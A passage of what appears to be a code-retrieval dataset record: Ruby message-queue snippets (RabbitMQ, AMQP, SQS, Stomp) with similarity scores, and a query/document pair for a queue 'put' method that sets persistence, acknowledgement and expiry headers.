"def start\n channel.prefetch(10)\n queue.subscribe(manual_ack: true, exclusive: false) do |delivery_info, metadata, payload|\n begin\n body = JSON.parse(payload).with_indifferent_access\n status = run(body)\n rescue => e\n status = :error\n end\n\n if status == :ok\n channel.ack(delivery_info.delivery_tag)\n elsif status == :retry\n channel.reject(delivery_info.delivery_tag, true)\n else # :error, nil etc\n channel.reject(delivery_info.delivery_tag, false)\n end\n end\n\n wait_for_threads\n end",
"def subscribe &handler\n input = \"\"\n response = 0\n #wait for message from pull socket\n while true\n response = @pull.recv_string(input)\n if !error?(response)\n input.chomp!\n\n #Message received\n yield input if block_given?\n Communicator::get_logger.info \"Message received: #{input}\"\n end\n end\n end",
"def each(params={}, &block)\n raise(ArgumentError, 'Destination::each requires a code block to be executed for each message received') unless block\n\n message_count = nil\n start_time = nil\n\n if params[:statistics]\n message_count = 0\n start_time = Time.now\n end\n\n # Receive messages according to timeout\n while message = self.get(params) do\n block.call(message)\n message_count += 1 if message_count\n end\n\n unless message_count.nil?\n duration = Time.now - start_time\n {\n messages: message_count,\n duration: duration,\n messages_per_second: duration > 0 ? (message_count/duration).to_i : 0,\n ms_per_msg: message_count > 0 ? (duration*1000.0)/message_count : 0\n }\n end\n end",
"def run(&blk)\n consumer.each{|i| item_received(message_to_item(i), &blk)}\n end",
"def process_message(block, message, retry_attempts, acceptance_args)\n abort = false\n error = false\n status = nil\n\n message_args = EventQ::MessageArgs.new(\n type: message.type,\n retry_attempts: retry_attempts,\n context: message.context,\n content_type: message.content_type,\n id: message.id,\n sent: message.created\n )\n\n EventQ.logger.debug(\"[#{self.class}] - Message received. Id: #{message.id}. Retry Attempts: #{retry_attempts}\")\n\n if (!EventQ::NonceManager.is_allowed?(message.id))\n EventQ.logger.warn(\"[#{self.class}] - Duplicate Message received. Id: #{message.id}. Ignoring message.\")\n status = :duplicate\n return status, message_args\n end\n\n # begin worker block for queue message\n begin\n block.call(message.content, message_args)\n\n if message_args.abort == true\n abort = true\n EventQ.logger.debug(\"[#{self.class}] - Message aborted. Id: #{message.id}.\")\n else\n # accept the message as processed\n status = :accepted\n worker_adapter.acknowledge_message(*acceptance_args)\n EventQ.logger.debug(\"[#{self.class}] - Message acknowledged. Id: #{message.id}.\")\n end\n rescue => e\n EventQ.logger.error do\n \"[#{self.class}] - Unhandled error while attempting to process a queue message. Id: #{message.id}. \" \\\n \"Error: #{e.message} #{e.backtrace.join(\"\\n\")}\"\n end\n\n error = true\n call_on_error_block(error: e, message: message)\n end\n\n if error || abort\n EventQ::NonceManager.failed(message.id)\n status = :reject\n else\n EventQ::NonceManager.complete(message.id)\n end\n\n [status, message_args]\n end",
"def read_message\n return @text_queue.shift\n end",
"def init_queue\n @queue = EM::Queue.new\n processor = proc { |msg|\n send_to_client msg\n @queue.pop(&processor)\n }\n @queue.pop(&processor)\n end",
"def initialize(exchange_name = nil, routing_key: nil, connection: nil, context: nil, ident: nil, expiration: nil, persistent: true, durable: true, timeout: nil)\n super(connection: connection, context: context, ident: ident)\n\n @routing_key = routing_key\n @timeout = timeout\n\n @rpc_exchange = self.channel.direct(\n exchange_name || EXCHANGE_NAME_DEFAULT,\n durable: durable\n )\n\n @response_queue = self.channel.queue(\n @ident,\n durable: false,\n header: true,\n auto_delete: true\n )\n @expiration = expiration\n @persistent = !!persistent\n\n @callback = { }\n\n @consumer = Skein::Adapter.subscribe(@response_queue, block: false) do |payload, delivery_tag, reply_to|\n self.context.trap do\n if (ENV['SKEIN_DEBUG_JSON'])\n $stdout.puts(payload)\n end\n\n response = JSON.load(payload)\n\n if (callback = @callback.delete(response['id']))\n if (response['error'])\n exception =\n case (response['error'] and response['error']['code'])\n when -32601\n NoMethodError.new(\n \"%s from `%s' RPC call\" % [\n response.dig('error', 'message'),\n response.dig('error', 'data', 'method')\n ]\n )\n when -32602\n ArgumentError.new(\n response.dig('error', 'data', 'message') || 'wrong number of arguments'\n )\n else\n RPCException.new(\n response.dig('error', 'data', 'message') || response.dig('error', 'message')\n )\n end\n\n case (callback)\n when Skein::TimeoutQueue\n callback << exception\n when Proc\n callback.call(exception)\n end\n else\n case (callback)\n when Skein::TimeoutQueue\n callback << response['result']\n when Proc\n callback.call(response['result'])\n end\n end\n end\n\n self.channel.acknowledge(delivery_tag)\n end\n end\n end",
"def test_three\n print \"Test three (enqueue batch of messages): \"\n msg_ary = (1..14).map{|i| i.to_s}\n EZQ.enqueue_batch(msg_ary,[{'EZQ'=>nil}],'test_queue')\n q = EZQ.get_queue('test_queue')\n 14.times do\n q.receive_message do |msg|\n msg_ary -= [EZQ.strip_preamble(msg.body)]\n end\n end\n puts msg_ary\n if msg_ary.empty?\n puts 'pass'\n else\n puts 'fail'\n end\nend",
"def delete(&block)\n # TODO: Better error raising\n raise 'No Receipt Handle' unless @receipt_handle\n @queue.sqs.delete_message(@queue.url, @receipt_handle, &block)\n end",
"def receive_message(params={}, *attrs)\n self.class.receive_message(queue_url, params, *attrs).map do |val|\n Message.new self, val\n end\n end",
"def dispatch\n queue << nil\n while message = queue.shift\n consumers.each do |consumer|\n if response = consumer.on_message(message)\n @queue += Array(response)\n end\n end\n end\n end",
"def consume(workitem)\n\n RuoteAMQP.start!\n\n target_queue = determine_queue(workitem)\n\n raise 'no queue specified (outbound delivery)' unless target_queue\n\n q = AMQP.channel.queue(target_queue, :durable => true)\n forget = determine_forget(workitem)\n\n opts = {\n :persistent => RuoteAMQP.use_persistent_messages?,\n :content_type => 'application/json' }\n\n if message = workitem.fields['message'] || workitem.params['message']\n\n forget = true # sending a message implies 'forget' => true\n\n q.publish(message, opts)\n\n else\n\n wi = encode_workitem(workitem)\n raise ArgumentError, \"encoded workitem is nil\" if wi.nil?\n q.publish(wi, opts)\n end\n\n reply_to_engine(workitem) if forget\n end",
"def handle_request\n request = \"\"\n loop do\n begin\n request << @client.readpartial(1024*2)\n msg_request\n break if request.end_with?(\"\\r\\n\\r\\n\")\n rescue Errno::EAGAIN\n # buffer not empty, wait availability\n IO.select([@client], nil, nil)\n retry\n rescue EOFError\n break # all data read\n end\n end\n request\n end",
"def reset_reply_queue\n @reply_queue.delete if @reply_queue\n @reply_queue = channel.queue('', :exclusive => true, :auto_delete => true)\n\n @reply_queue.subscribe do |delivery_info, properties, payload|\n payload = self.parse_payload(payload)\n\n if properties[:correlation_id] == @correlation_id\n @response = payload\n @lock.synchronize{@condition.signal}\n end\n end\n end",
"def test_one\n digest = EZQ.enqueue_message( \"Test data\", {'EZQ'=>nil},'test_queue',true )\n print \"Test one (enqueue a single message): \"\n q = EZQ.get_queue('test_queue')\n if !q\n puts \"failed to get test_queue\"\n return nil\n end\n q.receive_message do |msg|\n if msg.md5 == digest\n puts \"pass\"\n else\n puts \"fail\"\n end\n end\n return nil\nend",
"def retrieve(key); @amq.queue(key); end",
"def ack(subscription_headers, message)\n #p [:ack, message.headers[\"message-id\"]]\n if message.headers[\"message-id\"].to_s.strip != \"\" && subscription_headers[\"ack\"].to_s == \"client\"\n SMQueue.dbg { [:smqueue, :ack, :message, message].inspect }\n connection.ack message.headers[\"message-id\"], { }\n else\n SMQueue.dbg { [:smqueue, :ack, :not_acknowledging, message].inspect }\n end\n if ENV['PAUSE_SMQUEUE']\n $stderr.print \"press enter to continue> \"\n $stderr.flush\n $stdin.gets\n end\n end",
"def poll\n poller.poll(skip_delete: true) do |message|\n poller.delete_message(message)\n\n yield(message)\n end\n end",
"def queue\n @queue ||= channel.queue(generate_queue_name, exclusive: true)\n end",
"def client\n unless $client\n u = amqp_url\n conn = Bunny.new(u)\n conn.start\n $client = conn.create_channel\n\n # We only want to accept one un-acked message\n $client.prefetch(1)\n end\n $client\nend",
"def consume (workitem)\n\n #first, we specify the reply queue for the 'real' participant. \n\n workitem.reply_queue = workitem.params['reply_queue'] ||= @queue_name+\"_FIN\"\n workitem.pid = workitem.params['pid']\n\n msg = encode_workitem(workitem)\n\n message = @queue.send_message(msg)\n\n ldebug { \"consume() msg sent to queue #{@queue.url} id is #{message.id}\" }\n\n if workitem.params['reply_by_default'] || workitem.params['reply-anyway'] == true\n reply_to_engine( workitem )\n end\n \n \n end",
"def subscribe(queue_name = nil, size = 1, &block)\n callback = block || method(:call)\n client.subscribe(\"/queue/#{queue_name || queue}\", { :ack => 'client', 'activemq.prefetchSize' => size }, &callback)\n end",
"def process_messages\n @messages.pop do |channel, message|\n Fiber.new do\n on_message(channel, message)\n process_messages\n end.resume\n end\n end",
"def listen_for_messages\n queue = @channel.queue(\"\")\n\n queue.bind(@exchange).subscribe do |delivery_info, metadata, payload|\n data = JSON.parse(payload)\n display_message(data['user'], data['message'])\n end\n end",
"def consume_requeue\n @consumer = @requeue.subscribe do |info, props, body|\n Proletariat.publish(props.headers['proletariat-to'], body,\n props.headers)\n\n nil\n end\n end",
"def basic_consume(queue, tag: \"\", no_ack: true, exclusive: false, arguments: {}, worker_threads: 1)\n write_bytes FrameBytes.basic_consume(@id, queue, tag, no_ack, exclusive, arguments)\n tag, = expect(:basic_consume_ok)\n q = @consumers[tag] = ::Queue.new\n if worker_threads.zero?\n loop do\n yield (q.pop || break)\n end\n nil\n else\n threads = Array.new(worker_threads) do\n Thread.new do\n loop do\n yield (q.pop || break)\n end\n end\n end\n [tag, threads]\n end\n end",
"def test_two\n digest = EZQ.enqueue_message((1..40000).to_a.to_yaml,{'EZQ'=>nil},'test_queue')\n print \"Test two (enqueue an oversized message): \"\n q = EZQ.get_queue('test_queue')\n if !q\n puts \"failed to get test_queue\"\n return nil\n end\n q.receive_message do |msg|\n pre = YAML.load(msg.body)\n if pre.has_key?('get_s3_file_as_body')\n puts 'pass'\n else\n puts 'fail'\n end\n end\n return nil\nend",
"def queue_ready(queue)\n @queue = queue\n @queue.bind(@exchange, :routing_key => @routing_key) do |binding_ok|\n @queue.subscribe(:ack => true, &method(:message_received))\n self.succeed\n end\n end",
"def by(message)\n if block_given?\n yield\n else\n pending message\n end\nend",
"def with_exchange(&block)\n setup_to_publish do | client | \n block.call( create_topic(client) ) \n sleep 0.1 if puberror.empty?\n end\n end",
"def action(queue_name)\n `curl -s -i -L \\\n -u #{Conn[:creds]} \\\n -H 'content-type:application/json' \\\n -f #{[Conn[:host_api], 'queues', Conn[:vhost], queue_name].join('/')} | jq '.messages_ready'`\n end",
"def start\n queue = channel.queue(\"\", :exclusive => true, :auto_delete => true)\n queue.bind(exchange_in, :routing_key => consumer.routing_key)\n queue.subscribe(&method(:handle_message))\n logger.info \"Bind queue with routing key '#{consumer.routing_key}' to exchange '#{exchange_in.name}', waiting for messages...\"\n end",
"def send_topic_acknowledge(msg, headers, timeout=60)\n #m=StompMessage::Message.new('stomp_BILLING', msg)\n open_connection\n s=rand*30 # scott - used to be 1000 but seem to create connections on activemq\n # open new topic to listen to reply...\n # was this but jms seems to blow up receipt_topic=\"/topic/receipt/client#{s.to_i}\"\n receipt_topic=\"/topic/rcpt_client#{s.to_i}\"\n receipt_flag = false\n # internal_conn = Stomp::Connection.open '', '', self.host, self.port, false \n self.conn.subscribe( receipt_topic, { :ack =>\"client\" }) {|msg|\n begin\n Timeout::timeout(timeout) {\n self.conn.acknowledge(msg,msg.headers)\n \t msg2= msg.body\n \t yield msg2\n }\n rescue Exception => e\n puts \"exception #{e.message}\"\n # raise \"timeout\" \n ensure\n receipt_flag=true\n self.conn.unsubscribe receipt_topic \n end \n }\n \n \n more_headers= {'persistent'=>'false', 'reply-to' => \"#{receipt_topic}\" }\n more_headers.merge headers\n self.conn.send(self.topic, msg.to_xml, more_headers ) \n Thread.new { sleep(timeout+1)\n puts \"calling unsubscribe on #{receipt_topic}\" if !receipt_flag\n self.conn.unsubscribe receipt_topic if !receipt_flag\n } \n end",
"def preprocess(message)\n @logger.debug(\"Inside FDR Queue Preprocess: Start\", :event => message)\n payload = JSON.parse(message.body)\n payload = JSON.parse(payload['Message']) if @from_sns\n @logger.debug(\"Payload in Preprocess: \", :payload => payload)\n\n # skip files other than aidmaster data (for now)\n return nil unless payload['files'] and (payload['pathPrefix'].start_with?(\"data/\") or payload['pathPrefix'].start_with?(\"aidmaster/\"))\n\t\n \tbucket = payload['bucket']\n payload['files'].each do |file|\n @logger.debug(\"We found a file\", :file => file)\n # in case there are any events with Records that aren't s3 object-created events and can't therefore be\n # processed by this plugin, we will skip them and remove them from queue\n# if record['eventSource'] == EVENT_SOURCE and record['eventName'].start_with?(EVENT_TYPE) then\n key = file['path']\n\t\t @logger.debug(\"We found a file\", :key => key)\n size = file['size']\n\t\t @logger.debug(\"We found a file\", :size => size)\n\t\t\n yield({\n bucket: bucket,\n key: key,\n size: size,\n folder: get_object_path(key)\n })\n #end\n end\n end",
"def client\n unless $client\n u = amqp_url\n puts u\n c = Bunny.new(u)\n c.start\n $client = c\n\n # We only want to accept one un-acked message\n $client.qos :prefetch_count => 1\n end\n $client\nend",
"def setup_queue_listener\n service_queue.subscribe(:block => true) do |info, properties, payload|\n log.debug \"Received message: #{payload}...\"\n @return_info = nil\n rpc_wrapper.call { process(info, properties, payload) }\n end\n end",
"def subscribe\n @conn.subscribe(@queue_name, @headers)\n @@log.debug(\"subscribe to: #{@queue_name}\")\n @@log.debug(\"headers: #{@headers.inspect}\")\n end",
"def amqp_listen\n @listener = \"client.#{::Kernel.rand(999_999_999_999)}\"\n Thread.new(self) do \n AMQP.start(:host => @host) do\n _notify = MQ.fanout(@x_notify)\n puts \"[amqp_listen] starting listener on #{Thread.current}\" if $DEBUG\n MQ.queue(@listener, :auto_delete => true).bind(_notify).subscribe{ |msg| yield msg }\n end \n end\n end",
"def receive_message(queue_name_or_url, params={}, *attrs)\n doc = Adapter.receive_message(\n queue_url(queue_name_or_url),\n params,\n *attrs\n )['ReceiveMessageResponse']['ReceiveMessageResult']\n doc ? doc['Message'] : []\n end",
"def connect\n rabbit.transaction_short do\n choose_queue\n yield\n end\n end",
"def work_loop &blk\n @shutdown = false\n i = 0\n\n queue_names = @queues.map { |q| q.name }\n info \"RedisMessageQueue: starting work loop...\"\n info \"RedisMessageQueue: queues=#{queue_names}\"\n\n loop do\n break if shutdown?\n i = 0 if i >= @queues.length\n queue = @queues[i]\n i += 1\n begin\n process_queue(queue) do |job, res|\n i = 0\n yield job, res if block_given?\n end\n rescue => er\n error(\"Worker Error: \", er)\n end\n Boot::Helper.sleep @interval if i > 0\n end\n\n info \"RedisMessageQueue: work loop stopped.\"\n end",
"def exchange\n @exchange ||= channel.fanout(QUEUE_NAME)\n end",
"def retrieve_message(q)\n WMQ::QueueManager.connect(@connection_options) do |qmgr|\n qmgr.open_queue(:q_name => q.name, :mode => :input) do |queue|\n\n get_options = q.get_options.dup\n wmq_message = WMQ::Message.new\n \n if queue.get(get_options.merge(:message => wmq_message))\n return Message.new(wmq_message, q.name)\n else \n return nil\n end\n end\n end\n end",
"def fetch_messages(opts = {}, &block)\n check_client_config\n\n opts[:after] = opts.delete(:since) if opts.include?(:since)\n\n mailbox = @client.label(\"INBOX\")\n mailbox.emails(:all, opts).map do |email|\n from = email.from[0]\n\n message_data = {\n :id => email.message_id,\n :source => 'email',\n :thread => email.thread_id,\n :title => email.subject,\n :body => extract_body(email),\n :sender_name => \"#{from.name || from.mailbox}\",\n :sender => \"#{from.mailbox}@#{from.host}\"\n }\n\n block.call Message.build(message_data)\n end\n end",
"def subscribe(routing_key, options = {}, &block)\n q = bind_queue(routing_key)\n options = options.merge(manual_ack: true)\n\n q.subscribe(options) do |delivery_info, metadata, payload|\n block.call(delivery_info, metadata, payload)\n @channel.ack(delivery_info.delivery_tag)\n end\n end",
"def read_loop\n loop do\n msg = connection.read_msg\n msg.received_at = Time.now\n handle(msg)\n end\n rescue StandardError => e\n self << [:raise_error, e]\n end",
"def wait_for_message( only_one=false, &work_callback )\n\t\traise LocalJumpError, \"no work_callback given\" unless work_callback\n\t\tsession = self.class.amqp_session\n\n\t\tself.shutting_down = only_one\n\t\tamqp_queue = self.create_amqp_queue( only_one ? 1 : self.prefetch )\n\t\tself.consumer = self.create_consumer( amqp_queue, &work_callback )\n\n\t\tself.log.debug \"Subscribing to queue with consumer: %p\" % [ self.consumer ]\n\t\tamqp_queue.subscribe_with( self.consumer, block: true )\n\t\tamqp_queue.channel.close\n\t\tsession.close\n\tend",
"def work(raw_post)\n puts \"Msg received: \" + raw_post\n ack! # we need to let queue know that message was received\n end",
"def subscribe(message_name, &block)\n @subscriptions = {} if @subscriptions.nil?\n consumers = @subscriptions[message_name]\n consumers = [] if consumers.nil?\n consumers << block\n @subscriptions[message_name] = consumers\n @transport.bind message_name\n end",
"def read_messages\n begin\n uri = MQ_CONFIG[\"mq_uri\"]\n conn = Bunny.new(uri)\n conn.start\n channel = conn.create_channel\n\n if MQ_CONFIG[\"digitisation\"][\"source\"].blank?\n logger.warn \"#{Time.now.to_s} WARN: No digitisation source queue defined -> Not listening\"\n return\n end\n\n source = MQ_CONFIG[\"digitisation\"][\"source\"]\n q = channel.queue(source, :durable => true)\n\n logger.debug \"q.message_count = #{q.message_count}\"\n\n unread_messages = Array.new\n\n while q.message_count > 0 do\n delivery_info, metadata, payload = q.pop\n unread_messages.push(payload)\n end\n conn.close\n logger.debug \"Returning array containing #{unread_messages.length} unread messages\"\n unread_messages\n rescue Exception => e\n logger.error \" #{e.message}\"\n logger.error e.backtrace.join(\"\\n\")\n end\n end",
"def receive_messages\n begin\n resp = @sqs.receive_message(\n message_attribute_names: PIPE_ARR,\n queue_url: @settings[:consuming_sqs_queue_url],\n wait_time_seconds: @settings[:wait_time_seconds],\n max_number_of_messages: @settings[:max_number_of_messages],\n )\n resp.messages.select do |msg|\n # switching whether to transform the message based on the existance of message_attributes\n # if this is a raw SNS message, it exists in the root of the message and no conversion is needed\n # if it doesn't, it is an encapsulated messsage (meaning the SNS message is a stringified JSON in the body of the SQS message)\n begin\n if !msg.key? 'message_attributes'\n # extracting original SNS message\n tmp_body = JSON.parse msg.body\n # if there is no Message, this isn't a SNS message and something has gone terribly wrong\n next if tmp_body.key? 'Message'\n # replacing the body with the SNS message (as it would be in a raw delivered SNS-SQS message)\n msg.body = tmp_body['Message']\n msg.message_attributes = {}\n # discarding messages without attributes, since this would lead to an exception in subscribe\n next if tmp_body.key? 'MessageAttributes'\n # parsing the message_attributes\n tmp_body['MessageAttributes'].each do |name, value|\n msg.message_attributes[name] = Aws::SQS::Types::MessageAttributeValue.new\n msg.message_attributes[name].string_value = value['Value']\n msg.message_attributes[name].data_type = 'String'\n end\n end\n msg\n rescue JSON::JSONError => e\n self.logger.info(e)\n end\n end\n rescue Aws::SQS::Errors::ServiceError => e\n self.logger.info(e)\n end\n end"
] |
[
"0.6847475",
"0.6817764",
"0.6575516",
"0.6494402",
"0.6459551",
"0.6417673",
"0.635251",
"0.6325152",
"0.6324526",
"0.62579566",
"0.621319",
"0.6132365",
"0.6126845",
"0.61154455",
"0.60985917",
"0.6041152",
"0.60304594",
"0.6026462",
"0.6013326",
"0.6007478",
"0.5997147",
"0.5973716",
"0.59598684",
"0.59581375",
"0.5950699",
"0.59182733",
"0.591489",
"0.5893509",
"0.5886075",
"0.5885097",
"0.58823884",
"0.5874925",
"0.58376205",
"0.58309907",
"0.5819854",
"0.5807278",
"0.58023345",
"0.57518953",
"0.57491237",
"0.5733663",
"0.5729253",
"0.5725905",
"0.57149065",
"0.5699164",
"0.56910646",
"0.5672044",
"0.56579906",
"0.5655331",
"0.56463075",
"0.564375",
"0.5637015",
"0.5623349",
"0.5622131",
"0.56220114",
"0.5621993",
"0.5620695",
"0.5618294",
"0.5602291",
"0.56020963",
"0.56014997",
"0.55868894",
"0.55840415",
"0.5572085",
"0.5564903",
"0.55583966",
"0.5557057",
"0.5554001",
"0.5546284",
"0.5546183",
"0.5540978",
"0.55370075",
"0.552998",
"0.55241853",
"0.55233103",
"0.5517497",
"0.550486",
"0.5503765",
"0.5502047",
"0.5500485",
"0.55000573",
"0.54967165",
"0.54763496",
"0.5474342",
"0.5471538",
"0.54625076",
"0.5458332",
"0.54571927",
"0.54430467",
"0.5442156",
"0.5434845",
"0.542438",
"0.54237515",
"0.54194987",
"0.5417053",
"0.5409343",
"0.5406477",
"0.53988945",
"0.53973633",
"0.5390971",
"0.5385769"
] |
0.754202
|
0
|
put a message on the queue default headers are: :persistent => true :ack => "auto" :expires => configuration.expires
|
def put(body, headers = { })
body, headers = normalize_message(body, headers)
SMQueue.dbg { [:smqueue, :put, body, headers].inspect }
begin
self.connect
headers = {:persistent => true, :ack => "auto", :expires => SMQueue.calc_expiry_time(configuration.expires) }.merge(headers)
destination = configuration.name
SMQueue.dbg { [:smqueue, :send, body, headers].inspect }
connection.send destination, body, headers
rescue Exception => e
SMQueue.dbg { [:smqueue, :exception, e].inspect }
handle_error e, "Exception in SMQueue#put - #{e.message}", caller
#connection.disconnect
ensure
connection.disconnect
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def publish(message, headers = {})\n message = message.to_json unless message.is_a?(String)\n client.publish(\"/queue/#{queue}\", message, { priority: 4, persistent: true }.merge(headers))\n end",
"def queue(message); end",
"def publish(message)\n # TODO: queue name and configuration should be in a config file\n @out_exchange.publish(message, :persistent => true, :key => \"esperfooin\", :mandatory => true)\n end",
"def __ap4r_queue_put(queue_name, queue_message, queue_headers)\r\n q = ReliableMsg::Queue.new(queue_name, :drb_uri => @@drb_uri || DRUBY_URI)\r\n q.put(queue_message, queue_headers)\r\n end",
"def enqueue_message(message); end",
"def deliver(message)\n @queue.push(message)\n end",
"def enqueue(queue_name, message_payload, ttl = 604800)\r\n payload = \"<?xml version=\\\"1.0\\\" encoding=\\\"utf-8\\\"?><QueueMessage><MessageText>#{message_payload}</MessageText></QueueMessage>\"\r\n execute(:post, \"#{queue_name}/messages\", { :messagettl => ttl }, { 'Content-Type' => 'application/xml', :x_ms_version => \"2009-09-19\"}, payload)\r\n end",
"def publish(message)\n envelope = @transport.create_message(message, @serializer)\n data = @serializer.serialize(envelope)\n #queue = type, but messageType needs env.messageType = \"urn:message:\" + env.messageType\n q_name = (message.messageType || data.class.name.gsub(\"::\",\".\"))\n @transport.publish(q_name,data,:headers=> {\"Content-Type\"=>\"application/vnd.masstransit+json\"}) #exchange?\n #@transport.publish(q_name,data) #exchange?\n end",
"def publish(response_message)\n @queue.push(response_message)\n nil\n end",
"def put_to_dead_letter_q(parms)\n message = parms[:message] ||= Message.new(data: parms[:data])\n dlh = {\n header_type: :dead_letter_header,\n reason: parms.delete(:reason),\n dest_q_name: parms.delete(:q_name),\n dest_q_mgr_name: name\n }\n\n message.headers.unshift(dlh)\n parms[:q_name] = 'SYSTEM.DEAD.LETTER.QUEUE' #TODO Should be obtained from QMGR config\n\n put(parms)\n end",
"def put_messages()\n #\n for i in 1..@max_msgs do\n message = \"Go Sox #{i}!\"\n @@log.debug \"#{message}\"\n @client.publish(@queue_name, message, \n {\"persistent\" => true, \"client-id\" => @client_id, \n \"reply-to\" => @queue_name} )\n end\n @client.close\n @@log.debug(\"queue_put completes\")\n end",
"def push(message)\n @queue.push(message)\n end",
"def acknowledge( message )\n @queue.acknowledge( message )\n end",
"def ack_message(adapter, queue_url, msg)\n adapter.sqs_client.delete_message(\n queue_url: queue_url, receipt_handle: msg.receipt_handle\n )\n end",
"def put_message(payload, reply_queue_name = \"\")\n @queue_handle = open_queue(@queue_manager.connection_handle, @queue_name, Constants::MQOO_OUTPUT) if @queue_handle.nil?\n\n message_id = put_message_on_queue(@queue_manager.connection_handle, @queue_handle, payload, reply_queue_name)\n\n close_queue(@queue_manager.connection_handle, @queue_handle, Constants::MQCO_NONE)\n @queue_handle = nil\n\n message_id\n end",
"def ack(subscription_headers, message)\n #p [:ack, message.headers[\"message-id\"]]\n if message.headers[\"message-id\"].to_s.strip != \"\" && subscription_headers[\"ack\"].to_s == \"client\"\n SMQueue.dbg { [:smqueue, :ack, :message, message].inspect }\n connection.ack message.headers[\"message-id\"], { }\n else\n SMQueue.dbg { [:smqueue, :ack, :not_acknowledging, message].inspect }\n end\n if ENV['PAUSE_SMQUEUE']\n $stderr.print \"press enter to continue> \"\n $stderr.flush\n $stdin.gets\n end\n end",
"def publish(connection)\n #\t4. Communication session\n channel = connection.create_channel\n # 5 Declare queue\n channel.queue(DELAYED_QUEUE, arguments: { \"x-dead-letter-exchange\" => \"\", \"x-dead-letter-routing-key\" => DESTINATION_QUEUE, \"x-message-ttl\" => 300000})\n\n # 6. Publish a message\n channel.default_exchange.publish \"message content\", routing_key:\n DELAYED_QUEUE\n puts \"#{Time.now}: Published the message\"\n channel.close\nend",
"def enqueue(payload)\n @queue.publish(payload.encode, :persistent => true)\n end",
"def _publish\n puts(\"pushing message: #{self.to_json} to queue #{@queue}\")\n AMQPCli.instance.push(self.to_json, @queue)\n end",
"def hsdq_ack(message, context); placeholder; end",
"def send_message(msg)\n self.class.send_message queue_url, msg\n end",
"def deliver(message)\n queue_job(utf8_encode_message(message))\n @options.logger.info({ delivery_method: 'Que', action: 'message pushed' })\n end",
"def put(message, channel, opts, &block)\n ttl = opts[:ttl]\n timeout = opts[:timeout] || @timeout || DEFAULT_TIMEOUT\n buffer_size = opts[:buffer_size]\n deprecated = opts[:deprecated]\n persist = opts[:persist]\n\n response = conn.put do |req|\n req.options[:timeout] = timeout\n if conn.path_prefix.nil? || conn.path_prefix == '/'\n # This avoids a double / if the channel starts with a / too (which is expected).\n req.path = channel\n else\n if conn.path_prefix =~ /\\/\\Z/ || channel =~ /\\A\\//\n req.path = [conn.path_prefix, channel].compact.join\n else\n # Add a / so the prefix and channel aren't just rammed together.\n req.path = [conn.path_prefix, channel].compact.join('/')\n end\n end\n req.body = message\n req.headers['Cache-Control'] = \"max-age=#{ttl.to_i}\" if ttl\n req.headers[\"X-Firehose-Buffer-Size\"] = buffer_size.to_s if buffer_size\n req.headers[\"X-Firehose-Deprecated\"] = (!!deprecated).to_s if opts.include?(:deprecated)\n req.headers[\"X-Firehose-Persist\"] = (!!persist).to_s if opts.include?(:persist)\n end\n response.on_complete do\n case response.status\n when 202 # Fire off the callback if everything worked out OK.\n block.call(response) if block\n else\n # don't pass along basic auth header, if present\n response_data = response.inspect.gsub(/\"Authorization\"=>\"Basic \\S+\"/, '\"Authorization\" => \"Basic [HIDDEN]\"')\n endpoint = \"#{uri}/#{channel}\".gsub(/:\\/\\/\\S+@/, \"://\")\n error_handler.call PublishError.new(\"Could not publish #{message.inspect} to '#{endpoint}': #{response_data}\")\n end\n end\n\n # Hide Faraday with this Timeout exception, and through the error handler.\n rescue Faraday::TimeoutError, Faraday::ConnectionFailed => e\n error_handler.call TimeoutError.new(e)\n end",
"def send_message(queue, msg)\n queue.send_message(msg.to_json)\n end",
"def send_message(name, label, message = \"\")\n encoded = MP.pack({ :uuid => @uuid, :msg => message })\n @exchange.publish(encoded, :type => label, :routing_key => ns(name))\n end",
"def publish(msg, exchange_name, routing={})\n ch = @connection.create_channel\n exchange = MarchHare::Exchange.new(ch, exchange_name, symbolize(@opts[:exchanges][exchange_name])) \n exchange.publish(msg, routing_key: routing[:routing_key], properties: { persistent: @opts[:message_persistent] }) if @connection.open?\n ch.close\n end",
"def enqueue_sent_message(message,queue=sent_message_queue)\n enqueue(message,queue)\n end",
"def messages_queue\n $messages_queue ||= client.queue(\"messages\", :durable => true, :auto_delete => false)\nend",
"def ack\n @mq.callback do\n @mq.send Protocol::Basic::Ack.new({ :delivery_tag => @header_obj.properties[:delivery_tag] })\n end\n end",
"def publish_to_queue(queue, message)\n logger.debug \"Publisher #{self.class.name} sending message: #{message.to_json}\"\n queue.send_message(Base64.encode64(message.to_json))\n end",
"def store message\n tsync do\n @takable << StoredMessage.new(@pid, next_id, message)\n end\n end",
"def add_to_message_queue(options = {})\n QueuedMessage.create!(:message => self, :server_id => @database.server_id, :batch_key => self.batch_key, :domain => self.recipient_domain, :route_id => self.route_id, :manual => options[:manual]).id\n end",
"def <<(message)\n raise ArgumentError unless message.is_a?(Hash)\n @msg_queue << message\n end",
"def work(message, to, headers)\n failures = queue_for_x_death(headers['x-death'])\n\n exchange.publish(message,\n routing_key: \"#{queue_name}_delay_#{failures}\",\n persistent: !Proletariat.test_mode?,\n headers: headers.merge('proletariat-to' => to))\n\n nil\n end",
"def queue message\n @buffer_semaphore.synchronize do\n @buffer += message\n end\n end",
"def mq_send(message, arg = nil)\n AMQP.start(:host => opt.mq_host) do |connection|\n channel = AMQP::Channel.new(connection)\n logger.info \"Publish message to RabbitMQ '#{message}' with arg '#{arg}' to '#{opt.mq_queue}'...\"\n channel.default_exchange.publish({:msg => message, :arg => arg}.to_json, :routing_key => opt.mq_queue)\n EM.add_timer(0.5) { mq_disconnect(connection) }\n end\n end",
"def queue_msg(msg)\n dispatch_msg(msg)\n end",
"def deliver(message)\n item = item_for(message)\n\n client.lpush(\"queue:#{options.queue}\", JSON.generate(item))\n\n @options.logger.info({ delivery_method: 'Sidekiq', action: 'message pushed' })\n true\n end",
"def publish(queue_name,job)\n queue = queue(queue_name)\n queue.send_message(message_body: encode_job(job))\n end",
"def <<(event)\n name, value, time = event.get(\"message\").split(\" \")\n event.set(name, value.to_f)\n\n if time != \"N\"\n event.timestamp = LogStash::Timestamp.at(time.to_i)\n end\n\n @queue << event\n end",
"def timberline_push(content, metadata = {})\n if @timberline_queue.nil?\n raise \"You must specify a queue name using .timberline_queue first\"\n end\n @timberline_queue.push(content, metadata)\n end",
"def send msg\n verify_config\n\n options = Hash.new\n [:access_key_id, :secret_access_key, :region].each do |arg|\n if @config['sqs'].has_key? arg.to_s\n options[arg] = @config['sqs'][arg.to_s]\n end\n end\n\n sqs = AWS::SQS.new options\n\n queue = sqs.queues.create @config['sqs']['queue_name']\n queue.send_message msg\n end",
